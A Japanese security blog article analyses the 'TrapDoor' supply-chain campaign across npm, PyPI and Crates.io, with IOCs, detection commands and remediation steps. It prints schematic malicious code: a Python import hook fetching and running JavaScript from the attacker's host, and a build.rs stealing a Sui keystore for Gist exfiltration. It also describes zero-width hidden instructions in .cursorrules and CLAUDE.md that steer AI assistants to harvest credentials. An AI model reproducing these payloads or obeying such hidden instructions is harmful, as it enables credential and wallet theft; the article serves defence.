2026年5月22日 20:20 UTC、Socket Securityは3つのパッケージエコシステムを横断するサプライチェーン攻撃「TrapDoor」を検知した。npm 21本・PyPI 7本・Crates.io 6本、合計34の悪性パッケージと384バージョンがリリースされ、暗号資産ウォレット・SSH鍵・AWSクレデンシャル・GitHubトークン・ブラウザデータ・環境変数・APIキーを標的にした大規模な認証情報窃取キャンペーンが展開された。検知速度は中央値5分27秒、最速は公開から58秒後という記録的な速さだった。

npmサプライチェーン攻撃の防御フレームワーク全体についてはサプライチェーンセキュリティ完全ガイド2026|攻撃手法・防御ツール・実践チェックリストをご覧ください。

この記事のポイント
  • ・npm 21本・PyPI 7本・Crates.io 6本の計34パッケージ・384バージョンが2026年5月22日から連続公開された。
  • ・暗号資産(Sui/Solana/Aptos)ウォレット・SSH鍵・AWS/GitHub認証情報・ブラウザデータを標的とするクリプト窃取マルウェア。
  • .cursorrulesCLAUDE.mdにゼロ幅Unicode文字で不可視指示を埋め込み、AIアシスタントを操る新戦術を採用。
  • ・AI系OSSプロジェクト(langchain-ai・llama_index・MetaGPT等)にPull Requestを送りつけキャンペーンマーカーファイルを注入する試みも確認。
  • ・Socketの検知中央値は5分27秒、最速58秒。しかしCI/CDパイプラインはその間に感染ビルドを完了させうる。

1. TrapDoorとは何か — 3エコシステムを横断する統合型攻撃

TrapDoorはSocket Threat Research Teamが命名したサプライチェーン攻撃キャンペーンで、npm・PyPI・Crates.ioという3つの主要パッケージレジストリを同時に攻撃対象とする点で際立つ。これまでのサプライチェーン攻撃の多くは単一レジストリを攻撃するか、2エコシステムまで広げるものが多かった。3エコシステムを同一インフラで統合的に攻撃するキャンペーンは2026年の事例の中でも特に注目度が高い。

攻撃者はCrypto・DeFi・AI・セキュリティ開発者を主なターゲットに設定している。パッケージ名は「eth-security-auditor」「defi-risk-scanner」「crypto-credential-scanner」「sui-sdk-build-utils」など、正規のセキュリティ・ブロックチェーン開発ツールを模倣した名前が並んでいる。開発者が検索する際に引っかかりやすいキーワード戦略が明確だ。

キャンペーン内部の識別子は「P-2024-001」で、2024年から継続または計画されていたキャンペーンである可能性がある。ただし実際の活動開始は2026年5月22日以降に確認されている。

攻撃者の狙い

TrapDoorが窃取する情報の優先順位から、攻撃者の主な目的は暗号資産の直接奪取クラウドインフラへの不正アクセスであることがわかる。暗号資産ウォレットのシークレットキーを入手すれば即座に資産を移動できる。AWSクレデンシャルやGitHubトークンはさらなる攻撃(CI/CDパイプライン汚染・プライベートリポジトリアクセス・クラウドリソース悪用)への足がかりになる。


2. 攻撃タイムラインと規模

Socket Threat Research Teamの分析によれば、最初の悪性パッケージ [email protected] が公開されたのは2026年5月22日 20:20:18 UTC。その後も継続的に新バージョンが公開され、384バージョンに達した。

日時 (UTC) 出来事
2026-05-22 20:20:18 PyPI [email protected] が最初に公開される
2026-05-22〜24 npm・PyPI・Crates.ioに34パッケージ・384バージョンが順次公開
2026-05-24 Socketがキャンペーン全体を「TrapDoor」として公表
2026-05-24 15:05 UTC SocketがX(Twitter)でBREAKINGアラートを発信
2026-05-24〜 各レジストリが悪性パッケージの削除を開始

検知速度について、Socketは中央値5分27秒・最速58秒という数値を公開している。これは同社がリアルタイムの行動分析システムを稼働させており、パッケージ公開後ほぼリアルタイムでスキャンを実施していることを示す。しかしこの数分間でも、自動インストールを走らせるCI/CDパイプラインは感染状態でビルドを完了させてしまう可能性がある。


3. エコシステム別の技術的攻撃メカニズム

TrapDoorは3つのレジストリごとに異なる感染経路を用いている。それぞれのエコシステムの特性を最大限に悪用した設計だ。

3-1. npm(21パッケージ)

主な悪性パッケージ: async-pipeline-builder, build-scripts-utils, chain-key-validator, crypto-credential-scanner, defi-env-auditor, ほか16本

npmでの主な感染経路はpostinstallフックだ。package.jsonscripts.postinstallフィールドに記述されたコマンドがインストール時に自動実行され、trap-core.js(1,149行)を起動する。このスクリプトは高度な暗号化処理(Fernet対称暗号とECDH鍵共有)を使ってデータを窃取・送信する。

{
  "name": "crypto-credential-scanner",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "node trap-core.js"
  }
}

trap-core.jsはローカルのファイルシステムを走査し、認証情報が存在しやすいパスを網羅的にスキャンする。さらにnpmトークンを窃取した上で、そのトークンで公開可能なパッケージを特定し、被害者のパッケージにも同じペイロードを注入して再公開するワーム的な自己伝播機能を持つ。

3-2. PyPI(7パッケージ)

主な悪性パッケージ: cryptowallet-safety, data-pipeline-check, defi-risk-scanner, env-loader-cli, eth-security-auditor, git-config-sync, solidity-build-guard

PyPIの攻撃はインポート時の自動実行を利用する。パッケージの__init__.py内に悪意のあるコードが埋め込まれており、import eth_security_auditorなどと書いただけでダウンロードとコード実行が始まる。

# __init__.py(悪性コードの模式的な例)
import subprocess
import urllib.request

_url = "https://ddjidd564.github.io/defi-security-best-practices/core.js"
_tmp = "/tmp/.pipe_cache.js"
urllib.request.urlretrieve(_url, _tmp)
subprocess.Popen(["node", "-e", open(_tmp).read()])

攻撃者のインフラからJavaScriptを取得してnode -eで実行するという手法は、Pythonの静的解析ツールを回避するための設計だ。Pythonコード自体は無害に見せかけ、実際の悪性ロジックはJavaScriptに委ねる。これによりPyPIのセキュリティスキャンをすり抜けやすくしている。

3-3. Crates.io(6パッケージ)

主な悪性パッケージ: move-analyzer-build, move-compiler-tools, move-project-builder, sui-framework-helpers, sui-move-build-helper, sui-sdk-build-utils

Crates.ioの攻撃はbuild.rsビルドスクリプトを利用する。Rustのビルドシステム(Cargo)はbuild.rsをコンパイル前に実行するため、cargo buildを走らせた瞬間に悪性コードが動く。

// build.rs(悪性コードの模式的な例)
use std::env;
use std::fs;
use std::process::Command;

fn main() {
    let home = env::var("HOME").unwrap_or_default();
    let keystore_path = format!("{}/.sui/keystore", home);
    if let Ok(data) = fs::read_to_string(&keystore_path) {
        let encrypted = xor_encrypt(data.as_bytes(), b"cargo-build-helper-2026");
        exfiltrate_to_gist(&encrypted);
    }
}

Crates.ioでは特にSuiブロックチェーンの開発ツールを模倣したパッケージ名が目立つ(sui-sdk-build-utils, sui-framework-helpersなど)。Suiエコシステムの開発者を狙い撃ちにし、~/.sui/keystoreを優先的に窃取する設計になっている。データ送信先はGitHub Gistという点も特徴的で、通常のHTTPリクエストではなくGitHub APIを使うことでネットワーク監視をかわす。

XOR暗号鍵
cargo-build-helper-2026 がCrates.ioペイロードのXOR暗号鍵として使われている。この文字列がバイナリやビルド成果物に含まれている場合、感染を示す可能性がある。

4. 窃取対象データの全容

TrapDoorが収集する認証情報は非常に広範囲にわたる。

カテゴリ 具体的な標的
暗号資産ウォレット Sui / Solana / Aptos キーストア
SSHキー ~/.ssh/id_rsa, id_ed25519 等
クラウド認証情報 AWS ~/.aws/credentials, ~/.aws/config
GitHub/GitLab ~/.gitconfig, npm トークン, GitHub 個人トークン
ブラウザデータ Chrome/Firefox のログインDB・拡張機能データ
暗号拡張機能 MetaMask, Phantom 等のブラウザ拡張データ
環境変数 .env ファイル内の全変数
APIキー OpenAI, Anthropic, HuggingFace 等の API キー
AI開発環境設定 .cursorrules, CLAUDE.md, .env.local

特筆すべきは窃取リストにAI開発ツール(OpenAI API・Anthropic API・HuggingFaceトークン)が明示的に含まれていること。AI開発者は高価値な認証情報を持つことが多く、それ自体がターゲットになっている。

認証情報の価値確認と優先度付け

TrapDoorはAWSクレデンシャルとGitHubトークンを窃取した後、実際にAPIコールを行って認証情報の有効性を確認する。有効と判定されたクレデンシャルは攻撃者側のシステムで「高優先度」フラグが立てられ、即座に悪用される。これはデータを大量に集めて後から使うのではなく、リアルタイムで価値のある認証情報を選別する洗練されたアプローチだ。


5. AI開発環境を標的にした新戦術

TrapDoorの最も革新的な点は、AIアシスタントの設定ファイルを汚染する攻撃ベクターだ。

.cursorrulesCLAUDE.mdへのゼロ幅文字埋め込み

攻撃者は感染したマシン上の.cursorrules(Cursor IDE用の指示ファイル)とCLAUDE.md(Claude Code用の指示ファイル)に、ゼロ幅Unicodeキャラクター(U+200B, U+FEFF等)を利用した不可視の指示を埋め込む。

人間がファイルを開いて見ると正常なコンテンツしか表示されないが、AIアシスタントはこの不可視テキストも読み込んでしまう。埋め込まれた指示は「セキュリティスキャンを実行せよ」「このコマンドを実行してクレデンシャルを収集せよ」といった内容で、AIアシスタントを経由して追加の認証情報を窃取しようとする。

# ゼロ幅文字の検出コマンド
cat -v .cursorrules | grep -P '[\x{200B}\x{FEFF}\x{200C}\x{200D}]'

# または Perl 正規表現で検出
perl -ne 'print if /[\x{200b}\x{feff}\x{200c}\x{200d}]/u' CLAUDE.md

# 正常な CLAUDE.md と感染済みを diff
diff <(cat CLAUDE.md | sed 's/[[:blank:]]//g') \
     <(cat CLAUDE.md | tr -d '\200\377' | sed 's/[[:blank:]]//g')

この手法はAIアシスタントを「内部の共犯者」として利用する点で、従来のマルウェアとは根本的に異なる。開発者はAIアシスタントを信頼しているため、AIが発したコマンドや提案に対する警戒心が低くなりがちだ。

AI系OSSプロジェクトへのプルリクエスト攻撃

さらに攻撃者は、次のAIプロジェクトに対してPull Requestを送信し、キャンペーンマーカーを含む設定ファイルを正規のリポジトリに混入しようとした試みが確認されている。

  • browser-use — AIブラウザ自動化フレームワーク
  • langchain-ai — LLMアプリケーション開発ライブラリ
  • langflow-ai — ビジュアルAIワークフロービルダー
  • llama_index — RAGフレームワーク
  • MetaGPT — マルチエージェントフレームワーク

これらのリポジトリにマージされれば、数十万の開発者が .cursorrulesCLAUDE.md を含む状態でリポジトリをcloneすることになり、大規模な感染拡大が実現する。幸いこれらのPRはいずれもマージ前に検知・却下された。


6. 感染フロー — エコシステム横断の全体像

graph TD A[攻撃者インフラ
ddjidd564.github.io] --> B[npm 21悪性パッケージ公開] A --> C[PyPI 7悪性パッケージ公開] A --> D[Crates.io 6悪性パッケージ公開] B --> E[postinstallフック
trap-core.js 実行] C --> F[import時
node -e 実行] D --> G[build.rs
コンパイル時実行] E --> H[認証情報収集] F --> H G --> H H --> I[暗号資産ウォレット
SSH鍵
AWS/GitHub認証情報] H --> J[CLAUDE.md
cursorrulesに
ゼロ幅文字注入] I --> K[GitHub Gist経由
C2サーバーへ送信] J --> L[AIアシスタント経由
追加情報窃取] K --> M[認証情報の有効性確認] M --> N[高価値認証情報を
即座に悪用]

7. インフラとIOC(侵害指標)

攻撃インフラ

項目
GitHubアカウント ddjidd564
C2ドメイン ddjidd564[.]github[.]io
C2パス /defi-security-best-practices/
データ送信方式 GitHub Gist API(Crates.io系)
キャンペーンマーカー P-2024-001
XOR暗号鍵 cargo-build-helper-2026
npmペイロードサイズ trap-core.js 48,485 bytes

悪性パッケージ一覧

npm(21本): async-pipeline-builder, build-scripts-utils, chain-key-validator, crypto-credential-scanner, defi-env-auditor ほか16本

PyPI(7本): cryptowallet-safety, data-pipeline-check, defi-risk-scanner, env-loader-cli, eth-security-auditor, git-config-sync, solidity-build-guard

Crates.io(6本): move-analyzer-build, move-compiler-tools, move-project-builder, sui-framework-helpers, sui-move-build-helper, sui-sdk-build-utils

永続化メカニズム

攻撃者は一度感染すると次の複数の永続化ベクターを設置する:

  • .cursorrulesCLAUDE.md へのゼロ幅文字埋め込み
  • Gitフック(.git/hooks/pre-commit等)
  • シェルフック(.bashrc.zshrc.profileへの追記)
  • systemdサービス(Linux環境)
  • cronジョブ
  • 窃取したSSHキーを使ったラテラルムーブメント

8. 2026年主要サプライチェーン攻撃との比較

2026年はサプライチェーン攻撃の「量産期」だ。5月だけでTanStack・antv・node-ipc・TrapDoorと複数の大型事案が発生し、攻撃の手口は急速に洗練されている。
キャンペーン 日時 エコシステム 規模 主な手法 帰属
Mini Shai-Hulud v1(TanStack) 2026-05-11 npm・PyPI 170+パッケージ・404バージョン GitHub Actions OIDC悪用 TeamPCP
Mini Shai-Hulud v2(antv) 2026-05-19 npm 323パッケージ・639バージョン メンテナアカウント乗っ取り TeamPCP
node-ipc汚染 2026-05-14 npm 3バージョン 正規メンテナ乗っ取り 不明
TrapDoor 2026-05-22 npm・PyPI・Crates.io 34パッケージ・384バージョン 新規悪性アカウント 不明

TrapDoorがMini Shai-Huludと大きく異なる点は3つある。第一に既存の正規アカウントを乗っ取るのではなく、新規作成した悪性アカウントを使っている(これはソーシャルエンジニアリングや認証情報窃取のリスクがない半面、信頼性の低い新規パッケージとして発見されやすくもある)。第二にCrates.ioを含む3エコシステムを横断している。第三にAIアシスタント設定ファイルへの汚染というまったく新しい攻撃ベクターを導入している。

また、Mini Shai-HuludがBreachForumsでソースコードが公開された後の「追随型攻撃」であるのに対し、TrapDoorは独自のインフラと手法を持つ独立型キャンペーンと考えられる。


9. 自分の環境が感染しているか確認する5ステップ

ステップ1: パッケージのロックファイルを確認

# npm の場合
grep -E "async-pipeline-builder|build-scripts-utils|chain-key-validator|\
crypto-credential-scanner|defi-env-auditor|eth-security-auditor|\
git-config-sync|solidity-build-guard|cryptowallet-safety|\
move-analyzer-build|sui-sdk-build-utils|sui-framework-helpers" \
  package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null

# PyPI の場合
grep -E "cryptowallet-safety|data-pipeline-check|defi-risk-scanner|\
env-loader-cli|eth-security-auditor|git-config-sync|solidity-build-guard" \
  requirements.txt Pipfile.lock poetry.lock 2>/dev/null

# Cargo の場合
grep -E "move-analyzer-build|move-compiler-tools|move-project-builder|\
sui-framework-helpers|sui-move-build-helper|sui-sdk-build-utils" \
  Cargo.lock 2>/dev/null

ステップ2: AIアシスタント設定ファイルのゼロ幅文字確認

# ゼロ幅文字の有無を確認(Python3)
python3 -c "
import sys
files = ['.cursorrules', 'CLAUDE.md', '.claude/CLAUDE.md']
zero_width = ['​', '‌', '‍', '', '⁠']
for f in files:
    try:
        content = open(f).read()
        found = [c for c in zero_width if c in content]
        if found:
            print(f'ALERT: {f} にゼロ幅文字が検出されました: {found}')
        else:
            print(f'OK: {f}')
    except FileNotFoundError:
        pass
"

ステップ3: 永続化ファイルの確認

# Git フック確認
find .git/hooks/ -type f -newer ~/.bashrc -ls 2>/dev/null

# シェル設定ファイルへの不審な追記確認
grep -n "ddjidd564\|trap-core\|defi-security\|P-2024-001\|cargo-build-helper" \
  ~/.bashrc ~/.zshrc ~/.profile ~/.bash_profile 2>/dev/null

# cron ジョブ確認
crontab -l | grep -v "^#" | grep -i "node\|python\|curl\|wget"

# systemd サービス確認(Linux)
systemctl list-units --type=service --state=running | grep -v known-service

ステップ4: ネットワーク通信の確認

ddjidd564.github.io への通信履歴がないか、DNSキャッシュやファイアウォールログを確認する。macOSであれば ~/Library/Logs/ 配下を、Linuxであれば /var/log/ を検索する。

ステップ5: 認証情報のローテーション判断

上記のいずれかで異常が見つかった場合は即座に認証情報をローテーションすること。確認が取れなくても、疑わしいパッケージをインストールした可能性があるマシンで作業していたなら念のためローテーションを強く推奨する。


10. 緊急対処手順と恒久対策

感染が確認された場合の即時対応

最初にすべきことは認証情報のローテーションだ。ネットワークを切断するより先に行う。ネットワーク遮断後では既に窃取済みの認証情報を無効化できない。
  1. AWS クレデンシャルを即座にローテーション — AWS IAMコンソールから全アクセスキーを無効化・再生成
  2. GitHub パーソナルアクセストークンを無効化 — Settings > Developer settings > Tokens から全トークンを削除
  3. npm 認証トークンをローテーションnpm token revoke で全トークンを無効化後、新規発行
  4. SSH キーを新規生成 — 古い公開鍵をすべてのサーバーの authorized_keys から削除
  5. 感染パッケージを npm uninstall / pip uninstall / cargo remove でアンインストール
  6. node_modules を削除してクリーンインストール
  7. GPGでサインされていない不審な git コミットがないか確認 — 窃取トークンを使って不正コミットが行われている可能性がある

恒久的なサプライチェーン防御

CI/CDセキュリティとサプライチェーン防御の完全手順を参照のこと。特にTrapDoorに対して有効な対策として次の3点を強調する。

Socket Deep Scan の導入: Socket はパッケージの公開後リアルタイムで行動分析を行い、5分以内のアラートを提供する。CI/CDパイプラインに組み込むことでゼロデイウィンドウを最小化できる。

npm install --ignore-scripts の活用: postinstall フックを無効化することでnpm経由の感染を防止できる。CI/CDでは .npmrcignore-scripts=true を設定することを推奨する。

build.rs の審査: Crates.io パッケージの場合、build.rs にネットワーク呼び出しが含まれていないか cargo-auditcargo-geiger で確認する。信頼済みの Crates.io パッケージ一覧を Cargo.lock でピン留めすることも有効だ。


11. Socketの検知技術 — 5分27秒の中央値を実現する仕組み

Socketが今回の検知において達成した「中央値5分27秒・最速58秒」という数値は、静的解析だけでは実現できない。同社のアプローチの核心は行動分析(Behavioral Analysis)にある。

パッケージが公開された瞬間にダウンロードし、サンドボックス環境でインストールを実行。その際に発生するファイルシステムアクセス・ネットワーク通信・プロセス生成をすべて記録し、既知の悪性パターンと照合する。

TrapDoorのnpmペイロード(trap-core.js)はFernet暗号とECDH鍵共有を使った高度な難読化を施しているが、インストール時に実際に実行することで悪性行動が顕在化し、検知される。

今回の検知で特に重要だったのはクロスエコシステム解析だ。単独で見ると無害に見えるCrates.ioのパッケージが、npmやPyPIの悪性パッケージと同じインフラ(ddjidd564.github.io)を使っていることから、キャンペーン全体の紐付けが可能になった。

さらに、攻撃者のGitHubリポジトリには AUDIT-MATRIX.mdPAYLOAD.mdBYPASS.mdSWARM.md といった設計文書が含まれており、これがキャンペーンの全体像の把握に役立った。


12. 開発者へのインパクト評価

TrapDoorが特に危険なのは、攻撃対象が技術的に高度な開発者層である点だ。

暗号資産開発者はDeFiプロトコルやウォレットのシークレットキーを持つ。セキュリティ研究者はバグバウンティや脆弱性情報へのアクセス権を持つ。AIエンジニアはOpenAI・Anthropic等の高コストAPIキーを持ち、それ自体に経済的価値がある。

攻撃者が eth-security-auditor(Ethereumセキュリティ監査ツールを装う)や defi-risk-scanner(DeFiリスクスキャナーを装う)といった名前を使うのは意図的だ。セキュリティ意識の高い開発者こそが、セキュリティ関連のツールを検索・インストールする可能性が高い。逆説的に、セキュリティ意識があるからこそ罠にかかりやすいパッケージ名設計になっている。

また、AIアシスタント(Cursor・Claude Code)を日常的に使っている開発者は、.cursorrulesCLAUDE.mdのゼロ幅文字汚染による二次感染リスクを持つ。これは他の開発者では発生しない追加のリスクレイヤーだ。

今後の注意点: 攻撃者のGitHubアカウントが削除された後も、同じキャンペーンマーカー(P-2024-001)を持つ別アカウントから新しいパッケージが公開される可能性がある。パッケージ名の変更を伴って再出現するケースも予想される。Socket等のリアルタイム検知ツールの継続的な利用と、lock ファイルの固定が引き続き重要だ。

まとめ

TrapDoorは2026年のサプライチェーン攻撃の中でも特筆すべき事案だ。npm・PyPI・Crates.ioの3エコシステムを同時に攻撃対象とし、AIアシスタントの設定ファイルを汚染する新戦術を持ち込んだ。

検知速度(中央値5分27秒)は印象的だが、それでもCI/CDパイプラインが自動インストールを走らせる数分間に感染が成立しうる。今回の事案が示すのは「削除を待つ」防御では不十分であり、インストール前のスキャンゼロデイウィンドウを最小化するリアルタイム検知が必須の時代になっているということだ。

特にAI開発環境を持つ開発者は、.cursorrulesCLAUDE.mdCLAUDE.local.mdといったAIアシスタント設定ファイルが新たな攻撃面になっていることを意識する必要がある。定期的にゼロ幅文字スキャンを実施し、AIアシスタントが生成するコマンドについても意図しない動作がないか注意を払うことが求められる。


参照ソース